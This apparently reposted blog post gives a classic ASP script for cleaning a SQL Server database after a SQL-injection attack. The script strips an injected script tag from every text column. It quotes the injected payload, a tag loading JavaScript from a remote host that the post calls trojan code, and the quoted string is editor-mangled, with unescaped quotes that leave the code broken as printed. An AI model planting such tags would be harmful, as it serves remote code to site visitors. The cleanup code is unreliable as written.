恢復 SQL 被注入後的資料程式碼
- <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
- <!--#include file="Inc/conn.asp"-->
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
- <%
- server.ScriptTimeout = 1000000
- 'xtype=99 ntext 與text型別相似,不同的是,ntext型別採用unicode標準字符集。
- 'xtype=35 text 用於儲存大量文字資料。
- 'xtype=231 nvarchar 用來定義可變長度的二進位制資料,最大長度為4000個字元。
- 'xtype=167 varchar 儲存最常可以達到8000個字元的變長的字元資料
- str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js">mce:script>'" '加在文字型別欄位後的木馬程式碼
- sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
- set rs = conn.execute(sql)
- while Not rs.eof
- t_name = rs("t_name") '表名
- c_name = rs("c_name") '欄位名
- xtype = rs("xtype") '欄位型別
- If (xtype = 99 Or xtype = 35) then
- conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
- Else
- conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
- End If
- rs.movenext
- wend
- response.Write("已經初步清理了掛馬資料,請重新重新整理頁面試試看!")
- %>
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-545241/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 【資料庫資料恢復】SQL server資料庫被加密怎麼辦?如何恢復?資料庫資料恢復SQLServer加密
- SQL Server資料庫恢復,SQL Server資料恢復,SQL Server資料誤刪除恢復工具SQLRescueSQLServer資料庫資料恢復
- 網站被sql注入的修復方法網站SQL
- 【伺服器資料恢復】Raid5丟失磁碟後被重建的資料恢復案例伺服器資料恢復AI
- 【北亞資料恢復】sqlserver資料庫被加密的資料恢復案例分享資料恢復SQLServer資料庫加密
- 伺服器SQL server資料庫被加密恢復方案伺服器SQLServer資料庫加密
- Sql server日誌損壞後的資料恢復(轉)SQLServer資料恢復
- 表資料被誤操作的恢復
- 【資料庫資料恢復】Sql Server資料庫資料恢復案例資料庫資料恢復SQLServer
- 【伺服器資料恢復】掉線硬碟重新上線同步資料被中斷後資料丟失的資料恢復伺服器資料恢復硬碟
- 【資料庫資料恢復】sql server資料庫連線失效的資料恢復案例資料庫資料恢復SQLServer
- 使用ODU恢復被truncate表的資料
- Oracle中truncate table後的資料恢復(Oracle資料恢復工具-ODU)Oracle資料恢復
- 【資料庫資料恢復】SQL Server資料庫磁碟空間不足的資料恢復案例資料庫資料恢復SQLServer
- 系統被入侵後的恢復(轉)
- 資料庫資料恢復—SQLserver資料庫中勒索病毒被加密怎麼恢復資料?資料庫資料恢復SQLServer加密
- 【資料庫資料恢復】透過資料頁恢復Sql Server資料庫資料的過程資料庫資料恢復SQLServer
- LINUX下資料被誤刪除、LINUX下資料被誤格式化後資料恢復Linux資料恢復
- 【北亞資料恢復】誤操作導致雲伺服器表被truncate,表內資料被delete的資料恢復資料恢復伺服器delete
- 【資料庫資料恢復】Sql Server資料庫檔案丟失的資料恢復過程資料庫資料恢復SQLServer
- 資料庫資料恢復—附加資料庫錯誤823的SQL Server資料恢復案例資料庫資料恢復SQLServer
- 【資料庫資料恢復】HP-UX系統ORACLE資料庫被誤刪除的資料恢復資料庫資料恢復UXOracle
- 恢復被執行truncate table的表資料
- 使用ODU恢復oracle被truncate的表資料Oracle
- 如何徹底擦除資料 防止資料被恢復?
- Sybase SQL Anywhere(ASA)資料庫恢復,ASA資料恢復,資料誤刪除恢復工具ReadASADBSQL資料庫資料恢復
- 路由器登入密碼被改後的恢復方法路由器密碼
- 【資料庫資料恢復】磁碟空間不足導致sql server錯誤的資料恢復資料庫資料恢復SQLServer
- 資料庫資料恢復-SQL SERVER資料庫檔案大小變為“0”的資料恢復方案資料庫資料恢復SQLServer
- 伺服器資料恢復—雲伺服器mysql資料庫表資料被delete的資料恢復案例伺服器資料恢復MySql資料庫delete
- open resetlogs後資料恢復資料恢復
- 生產庫的恢復目錄被RMAN恢復出來的資料庫庫使用後出現的問題資料庫
- 伺服器資料恢復—EMC儲存資料卷被誤刪除如何恢復資料?伺服器資料恢復
- 恢復資料,資料塊恢復
- asp 網站被 sql 注入後的處理辦法網站SQL
- chkdsk 後資料丟失的恢復方法
- Mongodb資料庫誤刪後的恢復MongoDB資料庫
- git reset --hard 操作後的資料恢復Git資料恢復